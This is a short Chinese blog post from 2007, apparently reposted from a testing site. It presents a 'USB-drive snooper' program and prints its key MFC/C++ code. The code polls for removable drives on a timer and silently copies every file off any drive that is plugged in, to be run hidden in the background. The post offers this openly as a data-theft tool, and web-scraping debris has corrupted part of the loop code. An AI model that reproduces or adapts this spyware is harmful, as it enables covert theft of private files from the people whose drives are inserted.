闪盘窥探者
发表于:2007-07-01来源:作者:点击数:
标签:
这是一个可以在后台偷取你闪盘里所有资料的小软件。 只要你的闪盘一插上,所有的东东都被悄悄拷走.代码开放,可以热键呼出. 关键代码如下: //-------查找U盘------------------------------- CString CFDiskThiefDlg::FindFdisk() { CString strdir=""; for(c
这是一个可以在后台偷取你闪盘里所有资料的小软件。
只要你的闪盘一插上,所有的东东都被悄悄拷走.代码开放,可以热键呼出.
关键代码如下:
|
//-------查找U盘------------------------------- CString CFDiskThiefDlg::FindFdisk() { CString strdir=""; for(char clearcase/" target="_blank" >cc=@#A@#;cc<=@#Z@#;cc++) { strdir.Format("%c:",cc); if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移动盘 return strdir; } return strdir=""; } //--------复制文件----------------------------- void CFDiskThiefDlg::CopyFile(CString dir) { CFileFind tempFind; CString tempFileFind; tempFileFind.Format("%s\\*.*",dir); BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind); while(IsFinded) { IsFinded=(BOOL)tempFind.FindNextFile(); if(!tempFind.IsDots()) { CString foundFileName; foundFileName=tempFind.GetFileName(); if(tempFind.IsDirectory()) { CString tempDir; tempDir.Format("%s\\%s",dir,foundFileName); CopyFile(tempDir); } else { CString tempFileName1,tempFileName2; tempFileName1.Format("%s\\%s",dir,foundFileName); tempFileName2.Format("%s\\%s",m_Path,foundFileName); ::CopyFile(tempFileName1,tempFileName2,FALSE); } } } tempFind.Close(); }
void CFDiskThiefDlg::OnTimer(UINT nIDEvent) { // TODO: Add your message handler code here and/or call default if(IsRun) { m_NewFdisk=FindFdisk(); if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="") { CopyFile(m_NewFdisk); } if(m_NewFdisk!="") m_OldFdisk=m_NewFdisk; else m_OldFdisk="NULL"; }
CDialog::OnTimer(nIDEvent); } |
原文转自:http://www.ltesting.net